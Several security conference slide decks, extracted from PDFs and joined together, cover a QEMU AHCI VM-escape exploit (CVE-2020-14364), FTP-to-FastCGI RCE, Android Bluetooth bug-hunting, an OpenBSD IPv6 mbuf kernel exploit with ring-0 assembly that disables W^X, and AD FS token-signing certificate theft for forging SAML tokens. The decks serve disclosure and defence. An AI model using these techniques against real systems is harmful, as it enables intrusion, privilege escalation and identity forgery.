FIS指令的触发 1 8 • FIS由handle_reg_h2d_fis处理 • AHCI_PORT_REG_CMD/CMD_ISSUE会调用check_cmdàhandle_cmd映射FIS • 通过FIS的第一个字节,确认是否要调用handle_reg_h2d_fis,它会设置ide_state这个重 要结构体(模拟IDE寄存器) IDE指令的运行 1 9 • handle_reg_h2d_fis中设置完IDE寄存器后,会调用ide_exec_cmd处理IDE指令 • 根据规范,IDE指令位于FIS的第三字节(fis[2]) • 它在ide_cmd_table中找寻和传入的命令对应的处理函数 • 我们需要它继续处理CommandVTable中的读取操作,因此应使用WIN_PACKETCMD指令 • cmd_packet也可以通过IDE设备的ATA_IOPORT_WR_COMMAND触发,但使用FIS更简单 从cmd_packet到cmd_read 2 0 • cmd_packet通过读取ATAPI指令部分来跳转到cmd_read,比较简单不再展开 • cmd_read的参数“buf”就是我们在物理内存写入的内容 • QEMU的函数 ld*_be_p 用于读取值 • *处可以是l=long,Vw=word,Vu=unsigned,Vbe=大端 • 因此nb_sectors/lba都是取自客户机的污染输入 • 还记得之前想要控制的size字段吗?这意味着size字段也 是可污染的 从cmd_read到ide_atapi_cmd_read_pio 2 1 • 我们已经很接近最终目标了 • cmd_read调用ide_atapi_cmd_read,而我们找到的污染位置是ide_atapi_cmd_read_pio • 查看代码可知s->atapi_dma为FALSE时,pio会被调用 • 我们之前要求的featureV&V11B不为0其实就是为了将它设置成0 ide_atapi_cmd_reply_end 2 2 • 我们从前后两个方向收敛到了这个可疑的位置,而且发现它的关键参数都是可控的 • 内部还有一些较细粒度的限制,但都可控: • 即需要设置lba为-1,来绕过里面的一些检查 • 单次拷贝的长度受到lcyl、hcyl(即柱面cylinder)的限制 • 可在FIS中设置为最大0xfffe,或其他方便进行漏洞利用的值 代码总览 2 3 前半部分的总结 2 4 • 它调用pio_transfer进行传输 • 但传给pio_transfer的data_ptr就已经越界 • 理论上注册了它的设备都有问题,好在只有AHCI注册了它 但这只是前两步……我们只刚解决了FIS和ATAPI的问题 2 5 Solved Solved Unsolved 要利用这个漏洞,还得再处理PRDT表 PRDT的使用者——ahci_pio_transfer 2 6 • 从cur_cmd中取出opts(options) • opts的内容决定操作方向是读还是写 • ahci_dma_prepare_buf从PRDT中取出任务 • 这些任务存放在sglist中 • 包括地址、长度等信息 • 调用dma_buf_write/read来处理sglist的任务 sglist的添加过程 2 7 • Sglist (ScatterVGatherVList)被用来存放要读取的操作序列 • 遍历PRDT表,累加PRDT每一项的操作长度,与已操作的长度进行对比 • 当PRDT表累加到某一项时,若已超过已操作的长度,则将其后面的内容加入sglist • 这里base即为数据基地址 AHCI设备的初始化 2 8 • 每个SATA控制器有6条主线,每条主线关联有一个设备 • SATA对应的AHCI会初始化6个AHCIDevice结构体,以及其成员要使用的内存 任意长度越界读 2 9 • 越界读的是io_buffer之后的数据,长度任意 • 读出来的数据会写入DBA指向的物理内存,因此可以无限泄露QEMU的内存 • 只要不是最后一个port,ide_init1之后通常会有下一个port的硬盘控制结构 • 这个控制结构会包含多个全局变量、函数指针,可以绕过ASLR io_buffer 越界读 ptr 任意长度越界写 3 0 • opts也可以设置成写操作 • 写操作时,PRDT的DBA地址被当作源地址 • 代码会从DBA读出数据,写入io_buffer后已越界的地址空间中 • 长度、内容不限 è 我们现在有任意长度、任意内容越界读写的原语了 还是那个 io_buffer 越界写 ptr 内存布局与堆风水 3 1 • 发生溢出的s->io_buffer,长度130KB,在设备初始化(realize)时,被ide_init1申请 • QEMU在初始化完成后,内存中间可能会有因其他操作留下的无权限的gap • 越界操作是类似memcpy的连续操作,不可避免会经过gap • 虽然可以通过技巧避免gap,但是直接选择分配在主heap区的port来利用漏洞更简单 实际的漏洞利用——布局部分 3 2 • 最稳定、最容易定位的当属读取后面的ahci_dma_ops结构体 • 这个结构体有10个字段,AHCI使用了其中8个 • 这8个都是函数指针,因此可以用来绕过ASLR • AHCI没有使用set_inactive(#8)和reset(#10) • reset通常用于重启时通知IDE设备 • AHCI/IDE共享代码片段,设置reset后可进入IDE的流程 • 将第10个字段,即.reset改为ROP#1的地址 • 当QEMU重启时,reset会被调用,从而开始代码执行 利用时的一些细节 3 3 • /x86_64-softmmu/qemu-system-x86_64V-enable-kvm -mV2048V -deviceVich9-ahci,id=ahci -driveVfile=/home/leon/iso.iso,media=cdrom,if=none,id=mycdrom -deviceVide-cd,drive=mycdrom,bus=ahci.4 è 可改为不同的数字,代表不同总线 -hda /home/leon/disk.qcow2 • MMIO可以使用periphery库简化操作 • 漏洞可以稳定利用,以QEMU权限执行任意代码 逃逸演示 3 4 漏洞的处理 3 5 • QEMU官方从源头上修复了问题(禁止CD读取时设置lba为-1) • 但是CVE提交的信息却是错误的 企业使用或定制化QEMU时的一些思考 3 6 • 及时更新补丁 • 不让用户定制过多的启动参数,过多的灵活性可能带来安全问题 • 设置专门人员负责安全审计,将静态扫描的流程集中在开发环节每一个提交中 • 及时处理崩溃或告警信息,合并PATCH并回报官方 • 研制热补丁系统,以方便修补类似于CVE-2020-14364这样补丁不需要改动很多代码的 问题 3 7 M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
Anton “Bo0oM” Lopanitsyn FTP2RCE FTP - Active mode Command channel Data channel Port 21 Client’s port Client’s port PORT 95,213,200,115,31,144 31*256+144 95.213.200.115 127.0.0.1:8080, OK What about redis? https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf FTP - Passive mode Command channel Data channel Port 21 Random port Random port A simple example of vulnerable code 1. PHP establishes an FTP connection $contents = file_get_contents($f); 2. FakeFTP gives a port with a payload for passive mode 3. Receiving a payload from socket and save to $contents 4. PHP comes to the FTP again. FakeFTP says ok, let's save your file using passive mode
 file_put_contents($f, $contents); 5. As a socket for passive mode puts the internal FastCGI port. The payload makes RCE Into the Wild CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/tarunkant/Gopherus https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/resonator ? • https://twitter.com/i_bo0om • https://t.me/webpwn
pdf
漫 谈 A O S P 蓝 牙 漏 洞 挖 掘 技 术 韩子诺 OPPO安珀实验室 关于我 • 韩子诺(ele7enxxh),OPPO安珀实验室高级安全专家,主要研究领域为Android安全,IoT 安全和车联网安全。在二进制漏洞挖掘与利用方面拥有6年以上相关经验; • 曾在Ruxcon,Zer0Con和Pacsec等多个国际知名会议进行技术演讲; • 截至目前,累计独立获得Android数百个CVE编号,Google Bug Hunters排行榜第8, Hackerone高通致谢榜2022年度第1; • 联系我:ele7enxxh(weibo | weixin | github); 议程 • 背景 • Android蓝牙协议栈发展历史 • 历史漏洞分析 • 攻击面 • 挖掘方法 • 源码审计和模糊测试 • 展望 • 潜在的脆弱点 • 更高效的挖掘思路 背景 Android蓝牙默认协议栈 2.2 - BlueZ • Linux默认协议栈 Android蓝牙默认协议栈 2.2 - BlueZ 4.2 - Bluedroid • 由博通和Google共同开发 • external/bluetooth/bluedroid Android蓝牙默认协议栈 2.2 - BlueZ 4.2 - Bluedroid 6.0 - Fluoride Android蓝牙默认协议栈 2.2 - BlueZ 4.2 - Bluedroid 6.0 - Fluoride 13 - Gabeldorsche • /system/bt - /packages/modules/Bluetooth/system • 新的AVRCP协议实现 • 重写了BLE扫描,BLE广播,ACL连接管理,控制器信息管 理,HCI层,HAL接口层等模块 • 部分模块开始使用rust语言 历史漏洞 • BlueBorne - 2017年公开的一组蓝牙HOST层协议内存破坏漏洞,影响多个平台和系统,造成 了很广的影响,引导了众多安全研究者关注蓝牙安全 • BadBluetooth - 2019年由香港中文大学Fenghao Xu发表于2019年安全顶会NDSS上的一篇 论文,主要介绍了蓝牙配对时的逻辑缺陷导致的绕过风险 • BlueFrag - 2020年Android安全公告披露的一个严重漏洞,攻击者利用ACL分包处理时的一 个越界写漏洞可以远程代码执行 历史漏洞分析 • 从2017年1月到2022年10月,累计至少披露 148个漏洞,其中高危99个,严重49个(未统 计中危) • 2018年发现漏洞67个,几乎占比近6年总数的 一半(主要是受到BlueBorne的影响) 历史漏洞分析 • 漏洞的类型具有较强的时间相关性:业务逻辑 错误漏洞 -> 内存破坏漏洞 -> 权限校验不当漏 洞 -> 内存破坏漏洞 • 漏洞的类型随着代码的健壮性和白帽子的关注 点而变化 历史漏洞分析 • 由于蓝牙存在天然的远程攻击面,因此漏洞级别定级偏高 • 白帽子在AVRCP,SDP,L2CAP,GATT等模块中发现了大量的漏洞 攻击面 system_server - packages/modules/Bluetooth/service/java/com/android/server/bluetooth com.android.bluetooth APP Remote Host Controler Data Normal APP Binder IPC 权限校验不当,业务逻辑错误(CVE-2020-27054,CVE-2020-0183等) libbluetooth_jni - packages/modules/Bluetooth/android/app/jni libbluetooth - packages/modules/Bluetooth/system Java Service - packages/modules/Bluetooth/android/app/src/com/android/bluetooth Bluetooth Chip BluetoothManagerService Adapter Pbap Gatt Sap HearingAid Headset Map Mcp Opp HidDevice Pan battery AvrcpController AvrcpTarget Tbs BassClient A2dpSink HeadsetClient HidHost A2dp LeAudio MapClient Hap VolumeControl Csip adapter gatt csip a2dp hap hfp hid sdp avrcp vc le_audio pan SDP BNEP L2CAP - (BR/LE) HIDD/HIDH RFCOMM HCI ATT/GATT/EATT ACL AVDT/AVRC/AVCT SMP PAN SRVC GAP A2DP LEAUDIO HFP/HFPC BTIF BTE BTA BTM 权限校验不当,业务逻辑错误(CVE-2021- 0328,CVE-2021-0588,CVE-2021-0604, CVE-2022-20126等) 内存破坏(CVE-2018-9414,CVE-2022-XXXX等) 业务逻辑错误,C++特性使用不当, 线程不安全,内存破坏(CVE-2021- 0522,CVE-2021-39708,CVE- 2022-20345等) Bind Service JNI Interface && Callback JNI/Main Threads cmd && event && packet Radio 挖掘方法 源码审计 • 优势 • 无需运行:传统的蓝牙远程Fuzz效率较低,且复杂度高(需要考虑不同协议栈的状态机) • 不依赖硬件:某些蓝牙漏洞需要特定的硬件才能触发 • 方便且高效:https://cs.android.com/ • 劣势 • 需要比较了解蓝牙协议和实现架构 • 费眼,费脑 源码审计 - HID简介 • HID(Human Input Device):人体输入设备配置文件,定义了蓝牙键盘和鼠标的功能 • Android在9.0之后开放了HID相关的API,APP主要通过BluetoothHidDevice类使用相关能 力 • HID设备主要分为Host和Device,Android目前只默认启用HID Device • 在framework,libbluetooth_jni,libbluetooth等多个模块中均有大量的HID实现代码 源码审计 - HIDD工作流程之应用注册 Normal APP BluetoothManagerService com.android.bluetooth HidDeviceService registerAppNative register_app 请求建立HIDD代理连接 bind 获取到binder对象 获取到HIDD代理对象 注册HIDD应用 registerApp 注册成功 源码审计 - CVE-2018-9544/9545 本地应用通过Binder IPC可以调用 registerApp接口,且参数全部可控 sdp参数包含多个不定长的数据,如 果传入一个很长的值呢? 源码审计 - CVE-2018-9544/9545 通过JNI接口调用registerAppNative 通过hidd的BTIF接口调用 register_app 源码审计 - CVE-2018-9544/9545 bthdInterface的register_app接口 memcpy越界读 源码审计 - CVE-2018-9544/9545 description为一个固定大小的数组 BTIF层通过多个函数调用到BTA层, 导致memcpy越界写 模糊测试 • 优势 • 无需深入了解蓝牙协议 • 结合ASAN和MSAN可以更容易发现不明显的漏洞 • 节省人力 • 劣势 • 没有现成的适合模糊测试的暴露接口 • 部分配置文件/协议栈包含复杂的状态机 模糊测试 • 寻找入口 • L2CA_Register(),L2CA_Register2(),L2CA_RegisterLECoc() 模糊测试 • 寻找入口 • L2CA_Register(),L2CA_Register2(),L2CA_RegisterLECoc() 模糊测试 • 寻找入口 • pL2CA_DataInd_Cb • avct | avdt | bnep | eatt | gap | gatt | hidd | hidh | rfcomm | sdp 模糊测试 - SDP协议栈 • 测试用例 • sdp_data_ind函数是sdp协议数据处理入口函数 • 服务端响应数据处理 - sdp_disc_server_rsp • 客户端请求数据处理 - sdp_server_handle_client_req 模糊测试 - SDP协议栈 • 测试用例 • p_ccb为当前SDP连接的控制块 • p_msg为当前需要处理的数据,其 中len代表数据长度,data为可控 数据 需要手动创建p_ccb,并生成sdp db数据,根据上下文设置状态机值和pdu值 模糊测试 - SDP协议栈 • 测试用例 • 调用sdp_init完成sdp协议栈初始化工 作 • 初始化ccb,模拟蓝牙连接状态 • 生成sdp数据库 • 模拟蓝牙连续发包,持续对两个接口进 行测试 • 清理现场 模糊测试 - SDP协议栈 • 测试用例 • 从上一步生成的数据库中选择一个 • 生成不同的状态机,并构造数据进行测 试 总结 • 源码审计 • 使用一个好的平台:https://cs.android.com/ • 从攻击面展开,跟随数据的全生命周期进行代码审计 • 模糊测试 • 在写测试用例的时候,不能只是简单的调用入口函数,而需要根据协议栈的具体情况,考 虑到所有的状态机,并且完成初始化工作,否则无法测试到代码深处 - 模拟真实场景下的 蓝牙交互过程 • 从今年的结果上看,两种方法的产出几乎一样:CVE-2021-39774,CVE-2021-39708, CVE-2021-39809,CVE-2022-20140,CVE-2022-20221,CVE-2022-20222,CVE- 2022-20224,CVE-2022-20229,CVE-2022-20273,CVE-2022-20283,CVE-2022- 20273,CVE-2022-20283,CVE-2022-20362,CVE-2022-20410 展望 展望 • 关于攻击面 • 常见协议栈上的漏洞会越来越少,需要更多关注新特性(如Android13上的le audio) • 传统的数据解析导致的越界读写漏洞几乎已经被修复干净,数据在蓝牙进程的全生命周期 的处理也许有更多可能性 • HAL服务 • 架构设计导致的安全风险 - 并发线程,内存管理,代码错误 • 关于挖掘方法 • 攻击面代码审计 + 核心代码模糊测试 • 相似漏洞挖掘方法 - CodeQL 感谢 Q & A
pdf
OpenBSD Remote Exploit ”Only two remote holes in the default install” Alfredo A. Ortega July 5, 2007 Mbuf buffer overflow Buffer overflow Researching the “OpenBSD 008: RELIABILITY FIX” a new vulnerability was found: The m dup1() function causes an overflow on the mbuf structure, used by the kernel to store network packets. mbuf1 mbuf2 mbuf3 mbuf4 End of overflow Copy direction Figure: mbuf chain overflow direction The function m freem() crashed... Searching for a way to gain code execution Searching for a way to gain code execution C code equivalent / s y s /mbuf . h #d e f i n e MEXTREMOVE(m) do { \ i f (MCLISREFERENCED(m)) { \ MCLDEREFERENCE(m) ; \ } e l s e i f ((m)−>m f l a g s & M CLUSTER) { \ p o o l p u t (&mclpool , (m)−>m ext . e x t b u f ) ; \ } e l s e i f ((m)−>m ext . e x t f r e e ) { \ (∗((m)−>m ext . e x t f r e e ) ) ( (m)−>m ext . ext buf , \ (m)−>m ext . e x t s i z e , (m)−>m ext . e x t a r g ) ; \ } e l s e { \ f r e e ((m)−>m ext . ext buf , (m)−>m ext . e x t t y p e ) ; \ } \ (m)−>m f l a g s &= ˜(M CLUSTER|M EXT ) ; \ (m)−>m ext . e x t s i z e = 0; /∗ why ??? ∗/ \ } while (/∗ CONSTCOND ∗/ 0) IcmpV6 packets Attack vector We use two IcmpV6 packets as the attack vector Header Fragmentation Header IPv6 Header Mbuf chain Fragment 2 Icmpv6 Icmpv6 Header Trampoline ShellCode SyscallHook Payload Header mbuf 2 mbuf 1 Header mbuf 3 Hop−by−Hop Header Fragmentation Header IPv6 Header Fragment 1 Figure: Detail of IcmpV6 fragments Where are we? Code execution We really don’t know where in kernel-land we are. But ESI is pointing to our code. User process Hooked syscall ShellCode Kernel Ring 0 Ring 3 Kernel Int 0x80 ShellCode ? ? ? ? ? ? ? ? ? ? ? Initial situation Final situation iret Where we are? Ring 0 ESI Figure: Initial and final situations Now what? Hook (remember DOS TSRs?) We hook the system call (Int 0x80) User process INT 0x80 Kernel return Hook Hooked syscall User process INT 0x80 Kernel Ring 3 Ring 0 return Normal syscall Normal System Call Hooked System Call Figure: System call hook Note: If the OS uses SYSENTER for system calls, the operation is slightly different. New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) 2. Get curproc variable (current process) New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) 2. Get curproc variable (current process) 3. Get user Id (curproc− >userID) New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) 2. Get curproc variable (current process) 3. Get user Id (curproc− >userID) 4. If userID == 0 : 4.1 Get LDT position 4.2 Extend DS and CS on the LDT (This disables WˆX!) 4.3 Copy the user-mode code to the the stack of the process 4.4 Modify return address for the syscall to point to our code New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) 2. Get curproc variable (current process) 3. Get user Id (curproc− >userID) 4. If userID == 0 : 4.1 Get LDT position 4.2 Extend DS and CS on the LDT (This disables WˆX!) 4.3 Copy the user-mode code to the the stack of the process 4.4 Modify return address for the syscall to point to our code 5. Restore the original Int 0x80 vector (remove the hook) New syscall pseudo-code 1. Adjust segment selectors DS and ES (to use movsd instructions) 2. Get curproc variable (current process) 3. Get user Id (curproc− >userID) 4. If userID == 0 : 4.1 Get LDT position 4.2 Extend DS and CS on the LDT (This disables WˆX!) 4.3 Copy the user-mode code to the the stack of the process 4.4 Modify return address for the syscall to point to our code 5. Restore the original Int 0x80 vector (remove the hook) 6. Continue with the original syscall OpenBSD WˆX internals WˆX: Writable memory is never executable i386: uses CS selector to limit the execution. To disable WˆX, we extend CS from ring0. Extension Extension User Code Segment (CS) User Data Segment (DS) 0x00000000 0xffffffff 4 GB 512 MB stack .so .text stack heap .so Figure: OpenBSD selector scheme and extension Defeating WˆX from ring0 Our algorithm, independent of the Kernel: s l d t ax ; Store LDT index on EAX sub esp , byte 0 x7f sgdt [ esp +4] ; Store g l o b a l d e s c r i p t o r t a b l e mov ebx , [ esp +6] add esp , byte 0 x7f push eax ; Save l o c a l d e s c r i p t o r t a b l e index mov edx , [ ebx+eax ] mov ecx , [ ebx+eax+0x4 ] shr edx ,16 ; base low−−>edx mov eax , ecx s h l eax ,24 ; base middle −−> edx shr eax ,8 or edx , eax mov eax , ecx ; b a s e h i g h −−> edx and eax ,0 xff000000 or edx , eax mov ebx , edx ; ldt−−> ebx ; Extend CS s e l e c t o r or dword [ ebx+0x1c ] , 0 x000f0000 ; Extend DS s e l e c t o r or dword [ ebx+0x24 ] , 0 x000f0000 Injected code WˆX will be restored on the next context switch, so we have two choices to do safe execution from user-mode: Ring 3 User Stack Ring 3 User Stack 1. fork() 2.mmap() 3.copy 4.jmp to mmaped mprotect() extends CS permanently 1. mprotect() 2.fork() From kernel... From kernel... Turning off W^X (from usermode) Creating a W+X section 3.Standard 5. Standard user−mode code user−mode code Figure: Payload injection options Questions before going on? Now we are executing standard user-mode code, and the system has been compromised. Proposed protection Limit the Kernel CS selector The same strategy than on user-space. Used on PaX (http://pax.grsecurity.net) for Linux. 0x00000000 0xffffffff 4 GB kernel 0xD0000000 0xD1000000 Kernel Code Segment (CS) Kernel Data Segment (DS) CS shrink mbuf chains, etc Figure: OpenBSD Kernel CS selector shrink A third remote vulnerability? IPv6 Routing Headers Uninitialized variable on the processing of IPv6 headers. 1. DoS or Code Execution (depending who you ask!) 2. Present on CVS from January to March of 2007 (very few systems affected) Conclusions In this article we presented: 1. Generic kernel execution code and strategy 2. Possible security improvement of the kernel Conclusions In this article we presented: 1. Generic kernel execution code and strategy 2. Possible security improvement of the kernel 3. A third bug - No software is perfect Final Questions? Thanks to: Gerardo Richarte: Exploit Architecture Mario Vilas and Nico Economou: Coding support
pdf
Douglas Bienstock and Austin Baker I AM AD FS AND SO CAN YOU ©2019 FireEye ©2019 FireEye § Whoami § What is AD FS and how does it work? § How do we find AD FS servers? § How can we attack AD FS? § How can we become (takeover) AD FS? § Tools and Demos § Best practices and mitigations § Goal: Understand AD FS, how we can attack it and why we want to, and how to keep it safe Roadmap ©2019 FireEye ©2019 FireEye § 4.5 years of experience at Mandiant § IR and Red Team lead § Speaks fluent cloud Doug Bienstock - @doughsec 3 ©2019 FireEye ©2019 FireEye § IR and Red Team § 5.5 years at Mandiant § Teaches some classes and stuff § Plays some games and junk Austin Baker - @bakedsec 4 MSFT AD FS – WTF? ©2019 FireEye ©2019 FireEye § Single-Sign On (SSO) solution for applications that don’t integrate directly to Active Directory § In plaintext: use AD creds for services/apps outside AD § Centralizes both authentication, identity management, token issuance § Basically required for any large org now § We must go deeper… Active Directory Federated Services 6 ©2019 FireEye ©2019 FireEye § Organizations are increasingly moving to the cloud § AD as a data/security boundary no longer exists § AD FS is commonly the gateway to the cloud for organizations § If we can own AD FS we can own the cloud § As security practitioners we must keep up with the move to the cloud OK – but why do we care? 7 ©2019 FireEye ©2019 FireEye § Claims: Statements about a user’s identity – Description (type) and value § Attribute Store: Where claims are sourced from (e.g. AD) § Claims Rules: Business logic that takes incoming claims, apply conditions, and produce new outgoing claims based on those conditions. Applied in the claims pipeline § c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccou ntname", Issuer == "AD AUTHORITY"] => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"), query = ";mail;{0}", param = c.Value); Building blocks 8 ©2019 FireEye ©2019 FireEye 1. Start with claims from AD 2. Pipeline adds new claims and modifies existing claims according to rules 3. Outputs set of claims that the relying party has communicated it needs – Claims coming out of the pipeline are transformed into security token attributes 9 Building Blocks - Claims Pipeline ©2019 FireEye ©2019 FireEye § Claims output from the claims pipeline are used to generate security tokens in the form of SAML tokens § Relying parties can be configured with SAML and WS-FED consumers – WS-FED => SAML 1.1 tokens – SAML => SAML 2.0 tokens § The tokens follow a standardized (OASIS) format that we rely on to be consistent § Tokens are accepted by relying parties in a standardized format, too – SAMLResponse POST parameter Building Blocks - Security Tokens 11 ©2019 FireEye ©2019 FireEye § c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccou ntname", Issuer == "AD AUTHORITY"] => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"), query = ";mail;{0}", param = c.Value); § <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailadd ress"> <AttributeValue>[email protected]</AttributeValue> </Attribute> Building Blocks – claims to assertions 12 ©2019 FireEye ©2019 FireEye § Identity Provider (IdP): Organization that takes identities as input and outputs claims about them. Authenticates a user, builds claims for that user (the pipeline), and packages them into security tokens § ADFS Service: Our IdP, the "account organization" Building blocks – the IdP 13 ©2019 FireEye ©2019 FireEye § AD FS Proxy (WAP): Proxy server that sits in DMZ to receive requests from Internet § Relying Party (RP): Unpacks provided claims from security token and makes authorization decisions based on them. They rely on the provided claims – e.g. a third-party cloud application Building blocks – the RP 14 ©2019 FireEye ©2019 FireEye (1) https://portal.office.com (2) 302 sts.doughcorp.com (3) ©2019 FireEye ©2019 FireEye (3) (4) (5) (6) <t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02 /trust"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertio n”> <saml:Attribute AttributeName="UPN" AttributeNamespace="http://schemas.xmlsoap. org/claims"> <saml:AttributeValue> [email protected]</saml:AttributeValue> </saml:Attribute> ©2019 FireEye ©2019 FireEye (1) https://portal.office.com (2) 302 sts.doughcorp.com Login.microsoftonline.com (3) (4) (5) (6) (7) ©2019 FireEye ©2019 FireEye Identity Providers 18 ©2019 FireEye ©2019 FireEye § Federations need identity providers – Need to know someone is who they claim to be § AD FS is the nexus of identity provision – And adapters are how third-party vendors can augment that process for their own purposes § Every major vendor with hands in the authentication cookie jar has an AD FS adapter – Some even aim to compete for with AD FS for the IdP crown Identity Providers and Adapters 19 Identifying AD FS ©2019 FireEye ©2019 FireEye § Search DNS for prefixes suggested by Microsoft (most people follow their deploy guides) – adfs.doughcorp.com, sts.doughcorp.com, fs.doughcorp.com – Quick Shodan search found 10,000+ § Try logging in to Office 365 using a bogus email address and see if you are redirected § Search for required URL paths – /adfs/ls – /adfs/services/trust/2005/usernamemixed – more… Finding AD FS Proxies 21 ©2019 FireEye ©2019 FireEye § Some fun things... § During deployment Microsoft recommends enabling “IDP-initiated sign-on” in order to test – Available at /adfs/ls/idpinitiatedsignon.aspx § Nice forms-based auth for a password spray § Lists SAML-enabled service providers that use AD FS Finding AD FS Proxies 22 ©2019 FireEye ©2019 FireEye § AD FS also supports NTLM-based authentication for on-premise users § By default those URLs are also exposed to the Internet via the AD FS proxies § Leaks the internal hostname of the AD FS server (not proxy), including the Active Directory domain name – Also provides another vector for password sprays § /adfs/services/trust/2005/windowstransport § /adfs/services/trust/13/windowstransport § https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs Finding ADFS Proxies 23 Attacking AD FS ©2019 FireEye ©2019 FireEye “It’s like the more complex systems we come across, the more attack surface we see.” - Biggie Smalls, maybe 25 ©2019 FireEye ©2019 FireEye § Which pieces are obvious targets: – Relying Party supporting apps (Duo, RSA, etc. management) – IdP policies and exceptions (AD FS configurations) – IdP-RP adapters § Relying Party attacks covered in-depth elsewhere – See “Two-Factor, Too Furious” from DerbyCon § The IdP side on the other hand… Target the Weak Links 26 ©2019 FireEye ©2019 FireEye § Auth adapters just implement necessary idP methods – IsAvailableForUser, Metadata, OnAuthenticationPipelineLoad/Unload, OnError, TryEndAuthentication – Registered in GAC – signed with strong name § Vendor adapters construct supporting functions for the above – Contain all the logic to determine whether a user's claim is signed off on – Good place to focus attention § Many routes to take – Register new adapters or adjust existing adapters Adapt or die 27 ©2019 FireEye ©2019 FireEye Adapt or die 28 § Start by investigating Microsoft.IdentityServer.ServiceHost.exe and our DLL ©2019 FireEye ©2019 FireEye Adapt or die 29 § Acquire adapter .dll and patch relevant DLL method ©2019 FireEye ©2019 FireEye Adapt or die 30 ©2019 FireEye ©2019 FireEye Adapt or die 31 ©2019 FireEye ©2019 FireEye 32 Adapt or die ©2019 FireEye ©2019 FireEye Adapt or die 33 § Kill/suspend service, replace DLL, restart § Verify success! § Depending on adapter: – Different methods to patch – Different logging methods § Same knowledge can be used dynamically – In-memory patching stealthy, more technically complex – Doesn't persistent restarts without a persistent "shim" Becoming ADFS ©2019 FireEye ©2019 FireEye “The token signing certificate is considered the bedrock of security in regards to ADFS. If someone were to get ahold of this certificate, they could easily impersonate your ADFS server.” - Microsoft 35 ©2019 FireEye ©2019 FireEye Mimikatz is for the birds (in this case) 36 ©2019 FireEye ©2019 FireEye § Relational database intended to be used only by Microsoft products – MS-SQL “lite” – Default option for AD FS § Accessible over a named-pipe – \\.\pipe\MICROSOFT##WID\tsql\query – Windows 2012+ § Can be accessed using SMSS Windows Internal Database (WID) 37 ©2019 FireEye ©2019 FireEye § Used by AD FS to store service configuration data in default config § Only accessible by the AD FS service account WID 38 ©2019 FireEye ©2019 FireEye § ADFSConfigurationV3.IdentityServerPolicy.ServiceSetting Locating the goods 39 ©2019 FireEye ©2019 FireEye § “We present DKM, a distributed key management system with a cryptographically verified code base. DKM implements a new data protection API. It manages keys and policies on behalf of groups of users that share data.” – [https://www.microsoft.com/en-us/research/publication/cryptographically- verified-design-and-implementation-of-a-distributed-key-manager/] DKM 40 ©2019 FireEye ©2019 FireEye DKM 41 ©2019 FireEye ©2019 FireEye § Upon service start, AD FS will load configuration information from the configuration database (in this case the WID) § As part of that process it calls LoadCertificateCollection() § Which in turn calls DkmDataProtector.Unprotect()... – Passing in base64 decoded blob from EncryptedPFX XML element Decrypting the SigningToken 42 ©2019 FireEye ©2019 FireEye § … which in turn calls Dkm.GroupKey._Unprotect() ... – ...which inherits the method from DKMBase Decrypting the SigningToken 43 ©2019 FireEye ©2019 FireEye – DKMBase.Unprotect() is where the magic happens Decrypting the SigningToken 44 Decode the EncryptedPFX blob Get key length based on encryption algorithm in use Read the DKM key KDK using DKM key Decryption! ©2019 FireEye ©2019 FireEye Decrypting the SigningToken 45 ©2019 FireEye ©2019 FireEye § Uses Key Derivation Function from NIST SP 800-108 in Counter Mode – DKM key is not used itself to decrypt Signing Certificate – Used as initial input for HMAC-SHA256 Key Derivation (NIST SP 800-108) § Mostly, but not exactly, follows the standard (because standards are hard ;) – Context is the Nonce decoded from blob – Label is the OIDs of the encryption algorithms decoded from blob – Outputs keys to use for AES encryption as well as SHA256 HMAC for verification of ciphertext Key Derivation 47 ©2019 FireEye ©2019 FireEye § Decrypts using Windows Crypto libraries § AES128 in CBC mode – 16 byte key derived from the DKM key – 16 byte IV decoded from the EncryptedPfx blob § Valid for 1 year!! Key Decryption 48 ©2019 FireEye ©2019 FireEye 49 Putting it all together 1. EncryptedPFX read from the configuration DB 2. ASN1 types and ciphertext parsed from the blob 3. DKM key read from AD 4. DKM key used for KDF to obtain AES key 5. Ciphertext from EncryptedPFX is decrypted into a PKCS12 object 6. Become an AD FS server – sign our own security tokens ©2019 FireEye ©2019 FireEye § AD FS handles "strong authentication" – MFA – Certs – Blood-oath § If we can issue security tokens, then we can just ignore these requirements § Relying Parties are blind to these requirements anyway, they just want a valid token "But I have MFA so I'm good" 50 Tool Time ©2019 FireEye ©2019 FireEye § https://github.com/fireeye/ADFSDump § .NET Assembly to be run on an AD FS server § Must be run on AD FS server as the AD FS service account § Dumps information from the configuration database and AD needed to generate signed security tokens and become ADFS :) – Encrypted PFX – DKM group key – Relying parties – Issuance rules ADFSDump 52 ©2019 FireEye ©2019 FireEye § https://github.com/fireeye/ADFSpoof § Python program to be run offline – Designed to be run using the data obtained from ADFSDump § Decrypts EncryptedPfx blob given a DKM key § Generates signed SAML tokens for arbitrary users that can be sent to a Relying Party – Uses user-generated XML templates – Each template requires specific parameters – the claims contained in the RP issuance rules – Launching with Office 365, Dropbox, and extensible SAML 2.0 templates ADFSpoof 53 ©2019 FireEye ©2019 FireEye 54 Best Practices and Mitigations ©2019 FireEye ©2019 FireEye § Secure privileged access –The AD FS server should be treated as a Tier 0 device (like a domain controller) – Access should be restricted to only originate from privileged access workstations § Enabled advanced auditing on AD FS 